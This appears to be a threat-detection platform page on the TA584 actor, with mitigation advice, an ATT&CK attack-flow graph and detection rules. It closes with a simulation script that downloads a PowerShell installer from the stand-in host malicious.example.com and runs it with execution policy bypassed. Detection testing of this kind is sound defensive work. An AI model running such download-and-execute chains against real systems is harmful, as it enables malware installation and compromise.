TA584 innovates initial access
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
TA584 is a prolific cybercriminal initial-access broker known for rapidly rotating infrastructure, diverse email lure themes, and heavy use of ClickFix-style social engineering. Recent activity shows the actor delivering commodity malware like XWorm alongside a newly observed implant dubbed Tsundere Bot. The combination of fast-changing delivery paths and flexible payload selection makes TA584 campaigns difficult to block with static indicators alone.
Investigation
Proofpoint analyzed 2025 campaigns and documented a move away from macro-enabled Excel attachments toward ClickFix landing pages that induce victims to run PowerShell. Those scripts then retrieve and execute downstream payloads. The report highlights TA584’s use of AWS S3, 404 TDS, and compromised domains to obscure payload hosting and dynamically redirect to final malware locations.
Mitigation
Prioritize controls that reduce script-based execution: restrict PowerShell, and apply application control to prevent node.exe from running in user-writable directories. Monitor for suspicious Ethereum RPC usage and inspect WebSocket traffic patterns that align with C2 behavior, especially when initiated by unexpected processes or from non-standard network paths.
Response
If detected, isolate the endpoint, stop PowerShell or node.exe processes launched from non-system locations, and block the identified C2 domains/IPs. Preserve and collect the full PowerShell command line, script artifacts, and relevant registry data to support scoping and eradication.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffdd99 classDef malware fill:#ff9999 classDef persistence fill:#ccffcc classDef c2 fill:#ccccff classDef cleanup fill:#dddddd classDef operator fill:#ff9900 %% Node definitions action_phishing["<b>Action</b> – <b>T1566 Phishing</b><br/><b>Description</b>: Send spearphishing emails with malicious URLs impersonating trusted brands."] class action_phishing action action_valid_accounts["<b>Action</b> – <b>T1078 Valid Accounts</b><br/><b>Description</b>: Use compromised email and ESP credentials to send phishing messages."] class action_valid_accounts action action_user_execution["<b>Action</b> – <b>T1204.004 User Execution</b><br/><b>Description</b>: Victim copies and pastes PowerShell command from ClickFix page."] class action_user_execution action tool_powershell["<b>Tool</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Executes remote script, disables AMSI and downloads additional stages."] class tool_powershell tool tool_regsvcs["<b>Tool</b> – <b>T1218.009 RegSvcs</b><br/><b>Description</b>: Launched in suspended mode to act as proxy for execution."] class tool_regsvcs tool process_hollowing["<b>Process</b> – <b>T1055.012 Process Hollowing</b><br/><b>Description</b>: Inject XWorm payload into RegSvcs process."] class process_hollowing process malware_xworm["<b>Malware</b> – <b>XWorm</b><br/><b>Description</b>: Payload delivered after injection, provides further capabilities."] class malware_xworm malware op_and1(("AND")) class op_and1 operator persistence_run["<b>Persistence</b> – <b>T1547.001 Registry Run Keys</b><br/><b>Description</b>: Hidden Run key with null byte created for autostart."] class persistence_run persistence persistence_active["<b>Persistence</b> – <b>T1547.014 Active Setup</b><br/><b>Description</b>: Registry modifications ensure execution on user logon."] class persistence_active persistence tool_mshta["<b>Tool</b> – <b>T1218.005 Mshta</b><br/><b>Description</b>: Executes VBScript that launches hidden PowerShell."] class tool_mshta tool c2_websocket["<b>C2</b> – <b>T1102 Web Service</b><br/><b>Description</b>: Establishes WebSocket connections to command and control servers."] class c2_websocket c2 c2_webprotocol["<b>C2</b> – <b>T1071.001 Application Layer Protocol</b><br/><b>Description</b>: Uses standard web protocols to blend with normal traffic."] class c2_webprotocol c2 cleanup_remove["<b>Cleanup</b> – <b>T1070.009 Indicator Removal</b><br/><b>Description</b>: Removes hidden Run key after foothold is stable."] class cleanup_remove cleanup %% Connections action_phishing –>|uses| action_valid_accounts action_valid_accounts –>|delivers| action_user_execution action_user_execution –>|triggers| tool_powershell tool_powershell –>|launches| tool_regsvcs tool_regsvcs –>|enables| process_hollowing process_hollowing –>|injects| malware_xworm malware_xworm –>|creates| op_and1 op_and1 –>|run key| persistence_run op_and1 –>|active setup| persistence_active persistence_run –>|uses| tool_mshta persistence_active –>|uses| tool_mshta tool_mshta –>|connects to| c2_websocket c2_websocket –>|communicates via| c2_webprotocol persistence_run –>|cleans up| cleanup_remove "
Attack Flow
Detections
NodeJS Binary Executing From Uncommon Location (via cmdline)
View
Suspicious Powershell Strings (via powershell)
View
Possible NodeJs Being Downloaded By Suspicious Process (via dns_query)
View
Call Suspicious .NET Methods from Powershell (via powershell)
View
Possible Node Spawned By Known Abused Process (via cmdline)
View
IOCs (SourceIP) to detect: Can’t stop, won’t stop: TA584 innovates initial access
View
IOCs (HashSha256) to detect: Can’t stop, won’t stop: TA584 innovates initial access
View
IOCs (Files) to detect: Can’t stop, won’t stop: TA584 innovates initial access
View
IOCs (DestinationIP) to detect: Can’t stop, won’t stop: TA584 innovates initial access
View
Suspicious Execution of RegSvcs.exe and mshta.exe [Windows Process Creation]
View
Detection of PowerShell and Node.js Execution for Tsundere Bot Malware Installation [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An adversary obtains a short URL (e.g.,
http://malicious.example.com/i) that resolves to a PowerShell script hosted on a compromised server. The script performs the following steps:- Downloads the Tsundere Bot installer script (
install.ps1). - Installs the latest Node.js runtime silently.
- Clones the malicious JavaScript payload from a Git repository.
- Executes the payload via
node.exe.
Because the rule watches for any creation of
powershell.exeornode.exe, this chain will generate two distinct process‑creation events that satisfy the detection condition. - Downloads the Tsundere Bot installer script (
-
Regression Test Script:
# ------------------------------------------------- # Tsundere Bot Installation Simulation – PowerShell # ------------------------------------------------- # Step 1: Download and invoke the remote installer script $installerUrl = "http://malicious.example.com/install.ps1" $tempScript = "$env:TEMPinstall.ps1" # Download the installer script (simulated) Invoke-WebRequest -Uri $installerUrl -OutFile $tempScript -UseBasicParsing # Step 2: Execute the installer script – this spawns powershell.exe Write-Host "[*] Executing remote installer..." powershell -NoProfile -ExecutionPolicy Bypass -File $tempScript # Step 3: The installer (simulated here) installs Node.js silently # For the purpose of the test we directly invoke node.exe $nodePath = "C:Program Filesnodejsnode.exe" $payloadPath = "$env:TEMPtsundere_bot.js" # Simulate a downloaded JS payload Set-Content -Path $payloadPath -Value 'console.log("Tsundere Bot running");' # Step 4: Run the malicious JS payload – this spawns node.exe Write-Host "[*] Running malicious JavaScript payload..." & "$nodePath" "$payloadPath" # ------------------------------------------------- -
Cleanup Commands:
# Remove temporary files Remove-Item -Path "$env:TEMPinstall.ps1" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPtsundere_bot.js" -Force -ErrorAction SilentlyContinue # Optionally uninstall Node.js (if installed by the test) # Uninstall‑Program -Name "Node.js" # Placeholder for actual uninstaller Write-Host "[*] Cleanup complete."